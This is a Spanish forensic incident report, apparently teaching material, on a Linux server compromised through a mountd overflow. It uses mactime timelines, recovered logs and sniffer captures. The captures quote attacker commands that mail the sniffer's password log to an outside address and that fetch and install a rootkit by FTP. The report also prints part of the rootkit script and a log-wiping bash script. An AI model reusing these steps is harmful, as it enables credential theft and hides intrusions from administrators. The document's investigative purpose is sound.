Ejemplo de Informe de Pruebas Encontradas

Ahora vamos a examinar un informe completo de actividad del/los intrusos en el sistema. El informe fue obtenido tras analizar los ficheros log de los sniffers, intentos de acceso, timestamps en el sistema de ficheros y el contenido de las particiones de varios sistemas involucrados en el incidente. Es un informereal, sólo que está omitida la información que identifica el sistema atacado.

A continuación es un informe de análisis de la partición root del sistema 212.102.25.57, la información aparece tal como fue encontrada después de poner el disco off-line, una vez descubierto el compromiso, por sospecha de tener ejecutándose un sniffer. Una copia de sistema de ficheros está disponible en formato tar.gz en el cdrom ISO 9660 CD-R.

La máquina 212.102.25.57 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusos alrededor de 10-09-2001, utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-98.12:http://www.cert.org/advisories/CA-98.12.mountd.html.

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas "Coroner’s

Toolkit"(http://www.fish.com/security/forensics.html). En el sistema de análisisel disco aparece como dispositivo /dev/hdc. La primera partición, /dev/hdc1 fue montada en modo solo lectura bajo el punto de montura "/x". Como resultado de ello todas las rutas serán precedidas por esa cadena. La geometría del disco duro es la siguiente:

Disk /dev/hdc: 32 heads, 63 sectors, 825 cylinders

Units = cylinders of 2016 * 512 bytes

Device Boot Start End BlocksId System
/dev/hdc1 1 793 799312+ 83 Linux
/dev/hdc2 794 825 3225682 Linux swap

Como la mayoría de los accesos al servidor empezaron el día 09 del Sep, la fecha previa del análisis forense fue tomada como 28 Ago. No se observan huellas obvias de modificación/instalación de ficheros que indica que el sistema fue accedido entre Sep 01 ySep 04. El día Sep 04, ha sido modificado el demonio "r" de Berkeley ("in.rlogind").

Sep 04 01 23:42:2123421 m.. -rwxr-xr-x root root /x/usr/sbin/in.rlogind

El examen del contenido del fichero a través de la utilidad strings, muestra que es un caballo de Troya que contiene los mismos strings que han sido encontrados en los ficheros del grupo "XXXXXXX"

. . .

rlogind ahLln XXXXXXXX

Can’t get peer name of remotehost: %m Can’t get peer name of remote host setsockopt (SO_KEEPALIVE): %m setsockopt (IP_TOS): %m hname != NULL rlogind.c

. . .

Sep 12 01 11:36:59 5127 m.c -rw-r--r-- root root /x/etc/.._/linsniff.c
Sep 12 01 11:37:08 4967 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/if.h
Sep 12 01 11:37:10 2048 ..c drwxr-xr-x root bin/x/usr/sbin

Pasados ocho días, se observa una modificación en el demonio y ejecución de chown.

Sep 12 01 11:04:1023421 ..c -rwxr-xr-x rootroot /x/usr/sbin/in.rlogind

Sep 12 01 11:04:118156 .a. -rwxr-xr-x rootbin/x/bin/chown

Pasada media hora el fichero fuente "linsniff.c" se copia en un directorio oculto bajo /etc. El directorio se llama "/etc/.. " (punto-punto-espacio-espacio-espacio, lo que nosotros convertiremos en "/etc/.._" para ver más claramente el directorio en los listados. El programa luego se compila. Vemos que los ficheros de cabeceras que tienen que ver con las funciones de red han sido accedidos, y el binario se mueve al "/usr/sbin/telnetd".

Después de cuatro minutos se produce un acceso a través del protocolo FTP (observando el acceso al wu.ftpd y su fichero id de proceso).

Sep 12 01 11:42:08 4096 mac -rw-r--r-- root root/x/var/pid/ftp.pids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la partición root:

Sep 12 11:33:05 2001 in.telnetd[1290]: connect from cromanion.washington.edu

Sep 12 11:33:16 2001 login: 1 LOGIN FAILURE FROM cromanion.washington.edu, 502 Sep 12 11:33:21 2001 login: 2 LOGIN FAILURES FROM cromanion.washington.edu, 502

. . .

Sep 12 11:34:02 2001 su: quaker on /dev/ttyp1

Sep 12 11:41:52 2001 wu.ftpd[1327]: connect from lotherdale.washington.edu

Sep 12 11:41:57 2001 ftpd[1327]: USER snoop

Sep 12 11:41:59 2001 ftpd[1327]: PASS password

Sep 12 11:42:00 2001 ftpd[1327]: SYST

Sep 12 11:42:01 2001 ftpd[1327]: CWD /tmp

Sep 12 11:42:06 2001 ftpd[1327]: TYPE Image

Sep 12 11:42:06 2001 ftpd[1327]: PORT

Sep 12 11:42:06 2001 ftpd[1327]: STOR mountd

Sep 12 11:42:082001 ftpd[1327]: QUIT

Sep 12 11:42:08 2001 ftpd[1327]: FTP session closed

Sep 12 12:00:25 2001 in.telnetd[1342]: connect from cromanion.washington.edu

Sep 12 12:00:25 2001 telnetd[1342]: ttloop: peer died: Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente. También podemos conocer que el intruso tiene una cuenta en el sistema cromanion.washington.edu [215.12.10.2] que normalmente utiliza entre 14:33:05 y 15:00:25 EST.

Los strings del fichero "/usr/sbin/telnetd" muestran que es un sniffer. El fichero log del sniffer es "tcp.log" (por defecto):

. . .

cant get SOCK_PACKET socket cant get flags cant set promiscuous mode

----- [CAPLEN Exceeded]

----- [Timed Out]

----- [RST]

----- [FIN] %s => %s [%d]

eth0 tcp.log cant open log Exiting...

. . .

Sep 13 01 10:01:46 55492 .a. -rwxr-xr-x root root /x/usr/bin/gcc
6211 .a. -rw-r--r-- root root /x/usr/include/stdio.h
92696 .a. -rwxr-xr-x root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/cpp
1003 .a. -rwxr-xr-x root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/spe
Sep 13 01 10:01:47 2767 .a. -rw-r--r-- root root /x/usr/include/_G_config.h
1441 .a. -rw-r--r-- root root /x/usr/include/alloca.h
2040 .a. -rw-r--r-- root root /x/usr/include/confname.h
1267 .a. -rw-r--r-- root root /x/usr/include/errno.h
4186 .a. -rw-r--r-- root root /x/usr/include/features.h
4434 .a. -rw-r--r-- root root /x/usr/include/gnu/types.h
7917 .a. -rw-r--r-- root root /x/usr/include/libio.h
380 .a. -rw-r--r-- root root /x/usr/include/posix_opt.h
4419 .a. -rw-r--r-- root root /x/usr/include/signal.h
15134 .a. -rw-r--r-- root root /x/usr/include/stdlib.h
7537 .a. -rw-r--r-- root root /x/usr/include/string.h
3909 .a. -rw-r--r-- root root /x/usr/include/sys/cdefs.h
4538 .a. -rw-r--r-- root root /x/usr/include/sys/socket.h
321 .a. -rw-r--r-- root root /x/usr/include/sys/types.h
25129 .a. -rw-r--r-- root root /x/usr/include/unistd.h
8841 .a. -r--r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/inc
1029 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/asm-i3
6298 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linu
2065 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linu

El día 13 de Sep, otro programa que incorpora funciones de red se compila, que hace uso de muchos más recursos que el sniffer (ya que carga más librerías). El hecho que el binario no aparece con fecha de modificación o cambio, puede indicar que el binariofue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultar su presencia del equipo de administración del servidor.

2794 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linu
3846 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linu
2621 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linu
Sep 13 01 10:01:48 3668 .a. -rw-r--r-- root root /x/usr/include/arpa/inet.h
734 .a. -rw-r--r-- root root /x/usr/include/bytesex.h
1555 .a. -rw-r--r-- root root /x/usr/include/endian.h
3248 .a. -rw-r--r-- root root /x/usr/include/limits.h
6390 .a. -rw-r--r-- root root /x/usr/include/netdb.h
2663 .a. -rw-r--r-- root root /x/usr/include/netinet/in.h
3562 .a. -rw-r--r-- root root /x/usr/include/paths.h
2643 .a. -rw-r--r-- root root /x/usr/include/posix1_lim.h
2680 .a. -rw-r--r-- root root /x/usr/include/posix2_lim.h
3777 .a. -rw-r--r-- root root /x/usr/include/sys/bitypes.h
709 .a. -rw-r--r-- root root /x/usr/include/sys/param.h
2315 .a. -rw-r--r-- root root /x/usr/include/sys/time.h
5273 .a. -rw-r--r-- root root /x/usr/include/sys/wait.h
2852 .a. -rw-r--r-- root root /x/usr/include/time.h
1156 .a. -rw-r--r-- root root /x/usr/include/waitflags.h
3724 .a. -rw-r--r-- root root /x/usr/include/waitstatus.h
1418196 .a. -rwxr-xr-x root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/cc1
3049 .a. -rw-r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/inclu
330 .a. -r--r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/includ
2101 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/asm-i3
266 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/asm-i3
3965 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linu
720 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linu
78 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linu
1146 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linu
313 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linu
698 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linu
Sep 13 01 10:01:57 117668 .a. -rwxr-xr-x root bin /x/usr/bin/as
Sep 13 01 10:01:58 145695 .a. -rwxr-xr-x root bin /x/usr/bin/ld
Sep 13 01 10:01:591088 .a. -rw-r--r-- root root /x/usr/lib/crt1.o
1216 .a. -rw-r--r-- root root /x/usr/lib/crtbegin.o
1212 .a. -rw-r--r-- root root /x/usr/lib/crtend.o
624 .a. -rw-r--r-- root root /x/usr/lib/crti.o
396 .a. -rw-r--r-- root root /x/usr/lib/crtn.o
204146 .a. -rw-r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/lib
Sep 14 01 00:42:50 146881 .a. -rwxr-xr-x root bin /x/usr/bin/ncftp

Los índices de acceso del sistema cromanion.washington.edu (aka "cromanion") muestran un login al sistema quaker.washington.edu (aka "quaker") a las 14:03 del horario EST o +0300 horas más de PST), lo que describe las conexiones de las máquinas lotherdale.washington.edu, XXXXXXXXXXXXX.washington.edu, y XXXXXXXXXXXX.washington.edu:

XXX ftp XXXXXXXX.XXXXXXX Sat Sep 14 03:46 - 04:08 (00:21)
XXX ftp XXXXXXX.washingt Sat Sep 14 03:46 - 03:46 (00:00)
XXX ftp XXXXXXX.XXXXXXX Sat Sep 14 03:38 - 03:40 (00:02)
XXX ftp XXXXXXXXXXXXX.wa Sat Sep 14 03:37 - 03:39 (00:02)
XXX ftp XXXXXXXXXXXX.was Sat Sep 14 03:19 - 03:20 (00:00)

Hay solo una ocurrencia de utilización del comando "ncftp" registrada por el sniffer el día 14 del Sep (línea 347 en "tcp.log"). También podemos encontrar huellas de otra conexión del XXXXX.XXXX.XXX:

XXXXXXXXXXXXX.washington.edu => XXXXXXX.washington.edu [23]

!"’%W#$ 38400,38400vt100bdoor password w

su r00t cd /etvc
cat /etc/".. "/tcp.log mail [email protected]
cat /etc/".. "/tcp.log mail [email protected]

ncftp -u ls cp tcp.log 1 ls ncftp -y XXX.XXX [A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesión anterior muestra que el fichero log del sniffer ha sido enviado a una dirección de correo electrónico. Después de cuatro horas, alguien emite un comando "whoami", y luego añade y elimina algunos ficheros dentro del directorio oculto.

Sep 14 01 04:07:423797 .a. -rwxr-xr-x rootbin/x/usr/bin/whoami

Sep 14 01 04:08:181024 m.c drwxr-xr-x rootroot/x/etc/.._

El día 14 del Sep, se ejecuta el binario in.identd. Este servicio sirve para asociar el nombre de usuario con un intento de conexión a un servicio remoto. Esta aplicación se utiliza por algunas redes de IRC. Puede significar que alguien realizó una conexión a un servidor IRC desde la máquina comprometida.

También tuvieron lugar varias conexiones al servidor POP de correo "in.pop3d", al servicio Berkeley "r", "in.rlogind", y una conexión al servicio NFS "rpc.mountd". Una vez establecida la conexión, se ejecutó el comando "id" (este es un vestigio de un exloit ADM mountd buffer overrun).

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd, que suele ser UID=0. El intruso, aprovechando del shell, crea un directorio "/var/tmp/XXXXX"y instala varias puertas traseras, utilidades para limpiar los ficheros log y un sniffer. Modificación de algunos ficheros log indican que a la hora de entrada se ejecutaron las utilidades de eliminación de huellas (zapper) que restablecieron el tamaño del fichero log a 0 bytes.

Sep 14 01 20:25:14 13004 .a. -rwxr-xr-x root bin /x/usr/sbin/in.identd
Sep 14 01 22:24:52 15029 .a. -rwxr-xr-x root bin /x/usr/sbin/in.pop3d
Sep 15 01 02:22:24 23421 .a. -rwxr-xr-x root root /x/usr/sbin/in.rlogind
Sep 15 01 02:23:07 25217 .a. -rwxr-xr-- root bin /x/usr/sbin/rpc.mountd
Sep 15 01 02:23:08 7705 .a. -rwxr-xr-x root bin /x/usr/bin/id
SepX 15 01 02:24:22 28550 mac -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/fix
13508 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/login.bak
Sep 15 01 02:24:23 13508 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/login.bak
1375 mac -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/readme
Sep 15 01 02:24:39 26314 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/bindshell
27942 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/linsniffer
Sep 15 01 02:24:41 26314 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/bindshell
27942 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/linsniffer
Sep 15 01 02:24:43 1126 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/clean
XX mac -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/imapdis
Sep 15 01 02:24:59 4665 .a. -rwxr-xr-x root bin /x/usr/bin/basename
Sep 15 01 02:25:03 0 mac -rw-r--r-- root root /x/var/log/cron
Sep 15 01 02:25:04 0 ma. crw-rw-rw- root root /x/dev/ttyp3
Sep 15 01 02:25:06 0 .a. -rw-r--r-- root root /x/var/log/debug
Sep 15 01 02:25:08 0 .a. -rw-r--r-- root root /x/var/log/lastlog
Sep 15 01 02:25:12 2699 .a. -rw-r--r-- root root /x/var/log/syslog
Sep 15 01 02:25:15 131968 .a. -rwxr-xr-x root bin /x/usr/bin/gawk
5941 .a. -rwxr-xr-x root bin /x/usr/bin/wc
0 .a. -rw-r--r-- root root /x/var/log/xferlog
1024 m.c drwxr-xr-x root root /x/var/tmp/XXXXX
1126 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/clean
Sep 15 01 02:25:542802 m.c -rwxr-xr-x root root /x/etc/rc.d/rc.inet2
Sep 15 01 02:26:1312288 m.c -rw-rw-r-- root root /x/etc/psdevtab
Sep 15 XX 02:26:267416 .a. -rwxr-xr-x root bin /x/bin/mkdir
Sep 15 01 02:26:3315 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/LS
Sep 15 01 02:26:401024 m.c drwxr-xr-x root root /x/dev/XXXXXXXX
25 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/PS
Sep 15 01 02:28:370 .a. crw-rw-rw- root root /x/dev/ptyp2
Sep 15 01 02:28:380 m.c crw-rw-rw- root root /x/dev/ptyp2
0 mac crw-rw-rw- root root /x/dev/ttyp2
Sep 15 01 02:29:580 m.c -rw-r--r-- root root /x/var/log/lastlog
Sep 15 01 02:30:060 m.c -rw-r--r-- root root /x/var/log/xferlog
Sep 15 01 02:31:0366973 .a. -rwxr-xr-x root bin /x/bin/telnet
Sep 15 01 02:35:011024 m.c drwxr-xr-x root root /x/var/log
0 mac -rw-r--r-- root root /x/var/log/sulog
Sep 15 01 02:35:160 m.c -rw-r--r-- root root /x/var/log/debug
Sep 15 01 02:35:51 0 ma. crw-rw-rw- root root /x/dev/ptyp3
Sep 15 01 02:35:52 0 ..c crw-rw-rw- root root /x/dev/ptyp3
0 ..c crw-rw-rw- root root /x/dev/ttyp3
Sep 15 01 03:21:57 1649 m.. -rw-r--r-- root root /x/etc/passwd.OLD
Sep 15 01 03:22:24 7317 .a. -rwxr-xr-x root bin /x/bin/killall
Sep 15 01 03:22:40 58605 .a. -rwxr-xr-x root bin /x/bin/ps
25 .a. -rw-r--r-- root root /x/dev/XXXXXXXX/PS

La siguiente actividad aparece en la línea 471 en "tcp.log" (el fichero log del sniffer entre 14 Sep 03:46 de la línea 348 y 17 Sep 20:13, desde la fecha de última modificación del fichero):

IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [143]

----- [Timed Out]

IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513] rootXXXXlinux/38400

----- [FIN]

IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513] rootXXXX-linux/38400

----- [FIN]

IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513] rootr00tlinux/38400t

----- [FIN]

IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [23]

!"’%P#$ 38400,38400linuxXXXXX

XXX

r00t finger cd /var/tmp ls -al rm -rf .bash ftp XXXXXX.XXX.XXX anonymous ass get XXXX.tgz quituit tar zxvf XXXX.tgz chmod +x

./INSTALL ls -al

----- [Timed Out]

IIIIIIIIII.XXXXXXX.XXX.XX => GGGGGGG.XXXXXXXXXX.XXX [23]

!"’%P#$ 38400,38400linuxr00t pico /etc/rc.d/irc.inetd2 rpc.mo.mo.mo.mountd [A11 mountd [A2 pmountd

[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C# [B[D[D#[B[D#[B[D# y pico /etc/inetd.conf [6~[6~killall -HUP inetd cat /etc/inetd.conf ps aux kill -9 cd /dev mkdir XXXXXXXX cd XXXXXXXX pico LS XXXXXXXX XXXXXy pico PS 3 bindshell 3 linsniffery ps aux kill -9 2541 f

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuración del rootkit referente al modus operandi de la utilidad "ls" (llamado LS) para esconder ficheros/directorios con cadenas "XXXXXX" y/o "JJJJJJJJ" en sus nombres. También ha modificado elfichero de configuración del rootkit para la utilidad "ps" (llamado PS) para esconder procesos "bindshell" y "linsniffer" en sus nombres.

La letra "y" que aparece en las cadenas "XXXXXXy" y "linsniffery" son huellas del usuario que nos informan que ha sidoutilizado el editor "pico". El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X. Si el fichero ha sido modificado de alguna forma el siguiente texto aparece:

Sep 16 01 21:55:34 36088 .a. -rwxr-xr-x root bin /x/bin/netstat
Sep 16 01 21:58:27 1024 m.c drwxrwxrwx root root /x/var/tmp
Sep 16 01 21:58:52 6 .a. -rw-r--r-- root root /x/root/temp.txt
Sep 16 01 22:50:33 1024 .a. drwxr-xr-x root root /x/var/tmp/XXXXX
Sep 16 01 22:51:02 6644 .a. -rw-r--r-- root root /x/var/tmp/XXXXX/programs/sniffer.log
Sep 16 01 22:57:16 1024 .a. drwxr-xr-x root root /x/var/tmp/XXXXX/programs
Sep 16 01 23:39:51 1024 m.c drwxr-xr-x root root /x/var/tmp/XXXXX/programs
4992 mac -rw-r--r-- root root /x/var/tmp/XXXXX/programs/sniffer.log.s

Save modified buffer (ANSWERING "No" WILL DESTROY CHANGES) ?

El usuario entonces debe teclear la letra "y" para guardar el fichero y salir. El sniffer no captura el mensaje del sistema pero sí el "y". Las entradas log del sniffer aquí muestran que se creó el directorio XXXXXXXX, dónde fueron insertados los ficheros de configuración del rootkit y editados en siguiente orden. Podemos observarlo en el listado de mactime, posiblemente atando este evento al día 15 del XXXa las 02:26:

Sep 15 01 02:26:26 7416 .a. -rwxr-xr-x root bin /x/bin/mkdir
Sep 15 01 02:26:33 15 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/LS
Sep 15 01 02:26:40 1024 m.c drwxr-xr-x root root /x/dev/XXXXXXXX
25 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/PS

El día 16 del Sep alguien crea una copia de seguridad del log del sniffer ("sniffer.log.save"), moviéndolo al directorio "/var/tmp/XXXX/programs". Este fichero muestra los intentos de entrada de otros intrusos que también acceden al fichero "tcp.log":

Elfichero "/root/temp.txt" contiene la única palabra "blah" en la línea y una línea en blanco. Actualmente no se conoce para que sirvió el fichero. El día 17 del XXX se modifica la contraseña de algún usuario, se crea un fichero de copia de seguridad:

Sep 17 01 12:44:50 153384 .a. -rws--x--x rootbin/x/usr/bin/passwd Sep 17 01 12:45:051649 m.c -rw-r--r-- rootroot/x/etc/passwd

1649 ..c -rw-r--r-- rootroot/x/etc/passwd.OLD

A continuación, el día 17 del Sep, alguien accede al servidor a través de telnet.Por lo visto se obtiene el UID del usuario lp. Modificaciones en /dev/console indican que ocurrió también una entrada de usuario en la consola física. Fechas de modificación han sido cambiadas en la aplicación de los logs del sniffer "/etc/..__/tcp.log" ytambién "/var/tmp/XXXXX/programs/sniffer.log", que significa que las aplicaciones han sido desactivadas.

Sep 17 01 20:13:44 296 .a. -rw-r--r-- root root /x/etc/hosts.deny
40907 .a. -rwxr-xr-x root bin /x/usr/sbin/tcpd
Sep 17 01 20:13:45 40685 .a. -rwxr-xr-x root bin /x/usr/sbin/in.telnetd
25 m.c -rw-rw-r-- root root /x/var/spool/lp1/status
Sep 17 01 20:13:46 0 m.. crw-rw-rw- root root /x/dev/console
0 .a. crw-rw-rw- root root /x/dev/ptyp0
0 m.. crw-rw-rw- root root /x/dev/ttyp0
18476 m.c -rw-r--r-- root root /x/etc/.._/tcp.log
6644 m.c -rw-r--r-- root root /x/var/tmp/XXXXX/programs/sniffer.log
Sep 17 01 20:13:50 0 ..c crw-rw-rw- root root /x/dev/console
0 ..c crw-rw-rw- root root /x/dev/ptyp0
0 ..c crw-rw-rw- root root /x/dev/ttyp0

El día 18 de Sep, se ejecuta la aplicación sendmail. Las huellas en el sistema de ficheros nos muestran que, posiblemente se envió a una dirección de correo electrónico el fichero log del sniffer "tcp.log":

Sep 18 01 05:30:26 164060 .a. -r-sr-Sr-x rootbin/x/usr/sbin/sendmail

Aparte de analizar el sistema de ficheros con detenimiento, se han recuperado todos los ficheros eliminados utilizando la utilidad "unrm" de TCT. Una examen de los ficheros recuperadosmostró eliminación de algunos ficheros log y scripts. El siguiente es una parte del script de instalación/limpieza que está incluido con el rootkit.

cp /var/tmp/imap-d /var/tmp/XXXXX/programs/imapdis rm -rf /var/tmp/imap-d echo "6. cleaning logs"

cd /var/tmp/XXXXX cp /var/tmp/clean /var/tmp/XXXXX/programs/clean rm -rf /var/tmp/clean

/var/tmp/XXXXX/programs/clean XXXXXXX 1>/dev/null 2>/dev/null

/var/tmp/XXXXX/programs/clean XXX.XXX 1>/dev/null 2/dev/null /var/tmp/XXXXX/programs/clean XXXX 1>/dev/null 2>/dev/null echo "rootkit complete" echo "rember to disable imapd" echo "EOF"

El siguiente es una parte del fichero log que muestra intentos de conexión de intrusos:

Sep 11 15:26:11 XXXX in.fingerd[864]: connect from XXX-XXX-14.XXXXXXXXX.XXX

Sep 11 15:26:11 XXXX in.telnetd[865]: connect from XXX-XXX-14.XXXXXXXXX.XXX

Sep 11 15:26:11 XXXX telnetd[865]: ttloop: peer died: Try again

Sep 11 15:26:12 XXXX in.pop3d[866]: connect from XXX-XXX-14.XXXXXXXXX.XXX Sep 11 15:26:13 XXXX in.telnetd[867]: connect from XXX-XXX-14.XXXXXXXXX.XXX

. . .

Sep 12 05:36:20 XXXX in.telnetd[1126]: connect from DDDDDD.XXXXXX.XXX

. . .

Sep 12 11:01:52 XXXX in.telnetd[1213]: connectfrom EEEEEEE.XXX.XXX

Sep 12 11:02:21 XXXX su: XXXXX on /dev/ttyp1

. . .

Sep 12 11:04:28 XXXX in.rlogind[1229]: connect from CCCCCCCC.XXXXXXXX.XXX

Sep 12 11:04:44 XXXX in.rlogind[1230]: connect from CCCCCCCC.XXXXXXXX.XXX

. . .

Sep 12 11:08:57 XXXX su: XXXXX on /dev/ttyp1

Sep 12 11:11:19 XXXX su: XXXXX on /dev/ttyp1

. . .

Sep 12 11:33:05 XXXX in.telnetd[1290]: connect from AAAAAA.XXXXXX.XXX

Sep 12 11:33:16 XXXX login: 1 LOGIN FAILURE FROM AAAAAA.XXXXXX.XXX, XXX Sep 12 11:33:21 XXXX login: 2 LOGIN FAILURES FROM AAAAAA.XXXXXX.XXX, XXX

. . .

Sep 12 11:34:02 XXXX su: XXXXX on /dev/ttyp1

Sep 12 11:41:52 XXXX wu.ftpd[1327]: connect from BBBBBBB.XXXXXX.XXX

Sep 12 11:41:57 XXXX ftpd[1327]: USER XXXXX

Sep 12 11:41:59 XXXX ftpd[1327]: PASS password

Sep 12 11:42:00 XXXX ftpd[1327]: SYST

Sep 12 11:42:01 XXXX ftpd[1327]: CWD /tmp

Sep 12 11:42:06 XXXX ftpd[1327]: TYPE Image

Sep 12 11:42:06 XXXX ftpd[1327]:PORT

Sep 12 11:42:06 XXXX ftpd[1327]: STOR mountd

Sep 12 11:42:08 XXXX ftpd[1327]: QUIT

Sep 12 11:42:08 XXXX ftpd[1327]: FTP session closed

Sep 12 12:00:25 XXXX in.telnetd[1342]: connect from AAAAAA.XXXXXX.XXX

Sep 12 12:00:25 XXXX telnetd[1342]: ttloop: peer died: Try again

. . .

Sep 12 12:54:37 XXXX in.rlogind[1358]: connect from CCCCCCCC.XXXXXXXX.XXX

. . .

Sep 12 19:53:30 XXXX in.telnetd[1459]: connect from XXXX-XX-118.XXXXXXXXX.XXX

. . .

Sep 12 23:47:32 XXXX in.telnetd[1525]: connect from XXXXXX.XXXX.XXXXXXXXXX.XXX

Sep 12 23:47:41 XXXX login: 1 LOGIN FAILURE FROM XXXXXX.XXXX.XXXXXXXXXX.XXX, XXXXX

Sep 12 23:48:55 XXXX su: XXXXX on /dev/console

Sep 13 00:12:38 XXXX in.telnetd[1569]: connect from HHHHHH.XXXXXXXXXXXXXXX.XXX Sep 13 00:12:54 XXXX su: XXXXX on /dev/console

. . .

Sep 13 06:46:12 XXXX in.telnetd[1673]: connect from XXX.XX.XXX.XX

Sep 13 07:08:01 XXXX in.telnetd[1679]: connect from GGGGGGG.XXXXXXXXXXXXXX.XXX Sep 13 07:08:14 XXXX su: XXXXX on /dev/console

. . .

Sep 13 08:30:05 XXXX in.telnetd[1728]: connect from FFFFFFF.XXXXXXXXXXXXXX.XXX

Sep 13 08:30:22 XXXX in.telnetd[1731]: connect from HHHHHH.XXXXXXXXXXXXXXX.XXX Sep 13 08:32:34 XXXX in.telnetd[1733]: connect from FFFFFFF.XXXXXXXXXXXXXX.XXX

. . .

Sep 13 09:58:42 XXXX su: XXXXX on /dev/console

El siguiente ejemplo es un extracto de script"zapper" que elimina las huellas dejadas por el intruso, o restablece el tamaño de los ficheros log a 0 bytes. No se sabe si existe una copia de este script en el sistema de ficheros activo. 1. !/bin/bash

. . .

WHAT=$(/bin/ls -F /var/log | grep -v "/" | grep -v "*" | grep -v ".tgz" | grep -v ".gz" | grep -v ".

for file in $WHAT line=$(wc -l /var/log/$file | awk -F ’ ’ ’{print $1}’) echo -n "Cleaning $file ($line lines)..." grep -v $1 /var/log/$file > new mv -f new /var/log/$file newline=$(wc -l /var/log/$file | awk -F ’ ’ ’{print $1}’) let linedel=$(($line-$newline)) echo "$linedel lines removed!"

done

echo " "

Los siguientes cadenas de texto pertenecen al fichero wtmp (leído por la utilidad "last"). Las horas no son obvias aquí pero los nombres de hosts sí lo son.

ftp4264 ttyp1 3XXXXX XXXXXXXXXXXX ttyp1 Pftp4626

3XXXXX XXXXXXXXXXXX ttyp1 3XXXXX XXXXXXXXXXXX ftp4626 ttyp1 Pftp4639

3XXXXXXXX

XXX.XX.XXX.XX

Pftp4639

Pftp4653

3XXXXXX XXXXXXXXXXXX ftp4653 Pftp4743

3XXXXX

XXXXXXXXXXXXXXXX

results matching ""

    No results matching ""